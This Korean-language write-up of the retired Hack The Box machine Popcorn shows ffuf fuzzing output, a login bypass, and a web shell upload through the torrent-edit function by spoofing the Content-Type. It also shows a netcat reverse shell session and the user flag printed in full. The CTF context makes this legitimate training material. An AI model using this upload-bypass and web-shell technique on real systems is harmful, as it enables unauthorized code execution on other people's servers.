← 전체 Write-Up

RedTeam / Hack The Box / RETIRED MACHINE

Popcorn

파일 등록·수정 단계의 업로드 검증 차이 분석 및 업로드 파일 실행 검증.

읽기 안내

Hack The Box의 개인 실습 기록입니다. 문제 환경의 주소·계정·플래그와 원문에 남아 있는 실패·미완료 결과를 그대로 보존했습니다. 코드와 이미지는 이 기록을 읽기 위한 실습 증적입니다.

Popcorn

Recon

❯ ffuf -u "http://popcorn.htb" -H "Host: http://FUZZ.popcorn.htb" -w ~/Documents/SecLists/Discovery/DNS/namelist.txt -t 500

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://popcorn.htb
 :: Wordlist         : FUZZ: /Users/aarin/Documents/SecLists/Discovery/DNS/namelist.txt
 :: Header           : Host: http://FUZZ.popcorn.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 500
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

aaanalytics             [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1739ms]
9                       [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1739ms]
2                       [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1738ms]
18                      [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1739ms]
13                      [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1739ms]
6                       [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1739ms]
11                      [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1739ms]
abstracts               [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1738ms]
aaademo                 [Status: 301, Size: 293, Words: 20, Lines: 10, Duration: 1738ms]
...

subdomain은 없는거 같음.

❯ ffuf -u "http://popcorn.htb/FUZZ" -w ~/Documents/SecLists/Discovery/Web-Content/common.txt -t 600

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://popcorn.htb/FUZZ
 :: Wordlist         : FUZZ: /Users/aarin/Documents/SecLists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 600
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.hta                    [Status: 403, Size: 283, Words: 21, Lines: 11, Duration: 3263ms]
.htaccess               [Status: 403, Size: 288, Words: 21, Lines: 11, Duration: 3263ms]
.htpasswd               [Status: 403, Size: 288, Words: 21, Lines: 11, Duration: 4297ms]
cgi-bin/                [Status: 403, Size: 287, Words: 21, Lines: 11, Duration: 327ms]
index                   [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 415ms]
index.html              [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 414ms]
torrent                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 282ms]
test                    [Status: 200, Size: 47410, Words: 2478, Lines: 655, Duration: 302ms]
:: Progress: [4746/4746] :: Job [1/1] :: 128 req/sec :: Duration: [0:00:33] :: Errors: 55 ::

하위 도메인에서 index, index.html, test , torrent가 나왔다. 확인해보니 index, index.html은 popcorn.htb에 접속했을 때의 화면이고 test에 접속했을때에 php 버전이 나왔다.

Popcorn — 실습 화면 1

php 버전은 5버전과 ubuntu6.10을 쓰고 있다.

관련 CVE를 찾아본 결과 ubuntu6 관련된 대부분의 취약점은 BOF였다.

이제 torrent를 확인해보자.

Popcorn — 실습 화면 2

업로드 기능이랑 로그인 기능이 바로 눈에 들어온다. 여길 중점적으로 보도록 하자.

Popcorn — 실습 화면 3

upload 기능을 쓰려면 우선적으로 로그인부터 해야한다. 바로 로그인 인증 우회 후 admin 페이지로 접속한다.

*이제와서 보니 **Torrent Hoster*라는 걸 쓰나보다. 버전은 안나와있지만 일단 알아만 두자.

Upload

Popcorn — 실습 화면 4

뚫릴줄 몰랐는데 뚫렸다.

여기에서 웹쉘을 업로드 해보자.

Popcorn — 실습 화면 5

Dog 문제를 풀때 생성되었던 shell.zip 파일을 올려봤는데 내용 검증이랑 확장자 검증도 하는 거 같다.

Popcorn — 실습 화면 6

Popcorn — 실습 화면 7

webshell php파일을 확장자 변경하여 올려도 뻥난다.

그러면 그냥 정상적인 토렌트를 일단 업로드 해보자. 토렌트 파일을 어디서 구하지 하다가 이미 기존에 admin이 올려놓은 Kali linux 토렌트 파일을 확인했다. 이걸 다운로드 받아서 내가 다시 올려보자.

파일명을 바꿔도 이미 존재하는 토렌트 파일이라고 안올라가진다… 웹 상에서 아무 토렌트 파일이나 구해서 올려보자.

Popcorn — 실습 화면 8

올라갔다. 여기에서 edit this torrent를 들어가보자.

Popcorn — 실습 화면 9

올린 파일 edit을 하면 수정될 가능성이 존재하는 것을 확인했다.

Popcorn — 실습 화면 10

Content-Type을 image/png로 수정하고 edit을 시도해보자.

Popcorn — 실습 화면 11

업로드에 성공했다. id가 난수화되어 올라가니 혹시몰라 복사해뒀다.

Popcorn — 실습 화면 12

업로드 디렉토리에 접근하여 cat /etc/passwd를 실행했고 george 계정을 확인했다.

3. Reverse Shell

❯ nc -lvnp 8888
listening on [any] 8888 ...
connect to [10.10.14.51] from (UNKNOWN) [10.129.150.181] 49059

www-data@popcorn:/var/www/torrent/upload$ id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@popcorn:/var/www/torrent/upload$ cd /home 
www-data@popcorn:/home$ ls
george

www-data@popcorn:/home$ cd george
www-data@popcorn:/home/george$ ls
torrenthoster.zip
user.txt

www-data@popcorn:/home/george$ cat user.txt
b51cecc0faba93f500f3481ac38a76af

george 라는 유저의 홈 디렉토리에서 user flag 를 획득했다.

b51cecc0faba93f500f3481ac38a76af

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.